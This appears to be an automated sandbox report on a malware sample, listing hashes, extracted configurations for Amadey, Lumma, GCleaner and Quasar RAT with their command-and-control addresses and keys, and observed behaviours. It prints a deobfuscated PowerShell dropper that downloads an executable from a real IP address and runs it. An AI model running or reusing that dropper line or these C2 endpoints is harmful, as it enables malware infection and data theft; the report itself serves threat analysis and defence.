General

  • Target

    2025-04-06_157c7edc26fa7d289b3ce9ea7216b5c8_agent-tesla_black-basta_cobalt-strike_luca-stealer

  • Size

    938KB

  • Sample

    250406-q2p3taztfs

  • MD5

    157c7edc26fa7d289b3ce9ea7216b5c8

  • SHA1

    683b9760a0200f2c14e627b41f3bc12942f28220

  • SHA256

    eb38bc2ecfa1e5f1092f1f3053d15696e10cc2bc65294bfb20189a0e46c8868d

  • SHA512

    3b65eac53c031982e292bbd80a9c2ecc536223ddd15bf5fc2c6583ddabd440507ff07547794973bb02de4d9e086f68691d04b8c0bdecf3f0c5bc84bbae5fdd39

  • SSDEEP

    24576:pqDEvCTbMWu7rQYlBQcBiT6rprG8a03u:pTvC/MTQYxsWR7a03

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "OVRQKOFFXAHJW7N9VXFOL7S1SRCJLGHM.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "QYTVOZCKEF2VXIA098U7OFQXA7MTHW3S.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

lumma

C2

https://plantainklj.run/opafg

https://jrxsafer.top/shpaoz

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://pepperiop.digital/oage

https://.ywmedici.top/noagis

https://cosmosyf.top/GOsznj

https://yjrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://xrfxcaseq.live/gspaz

https://radvennture.top/GKsiio

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

Extracted

Family

gcleaner

C2

185.156.73.98

45.91.200.135

Extracted

Family

quasar

Version

1.5.0

Botnet

Office04

C2

goku92ad.zapto.org:5000

Mutex

a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a

Attributes
  • encryption_key

    BF72099FDBC6B48816529089CF1CF2CF86357D14

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Modded Client Startup

  • subdirectory

    SubDir

Targets

    • Target

      2025-04-06_157c7edc26fa7d289b3ce9ea7216b5c8_agent-tesla_black-basta_cobalt-strike_luca-stealer

    • Size

      938KB

    • MD5

      157c7edc26fa7d289b3ce9ea7216b5c8

    • SHA1

      683b9760a0200f2c14e627b41f3bc12942f28220

    • SHA256

      eb38bc2ecfa1e5f1092f1f3053d15696e10cc2bc65294bfb20189a0e46c8868d

    • SHA512

      3b65eac53c031982e292bbd80a9c2ecc536223ddd15bf5fc2c6583ddabd440507ff07547794973bb02de4d9e086f68691d04b8c0bdecf3f0c5bc84bbae5fdd39

    • SSDEEP

      24576:pqDEvCTbMWu7rQYlBQcBiT6rprG8a03u:pTvC/MTQYxsWR7a03

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • GCleaner

      GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    • Gcleaner family

    • Lumma Stealer, LummaC

      Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    • Lumma family

    • Modifies security service

    • Quasar RAT

      Quasar is an open source Remote Access Tool.

    • Quasar family

    • Quasar payload

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

    • Creates new service(s)

    • Downloads MZ/PE file

    • Possible privilege escalation attempt

    • Stops running service(s)

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Drops startup file

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Modifies file permissions

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

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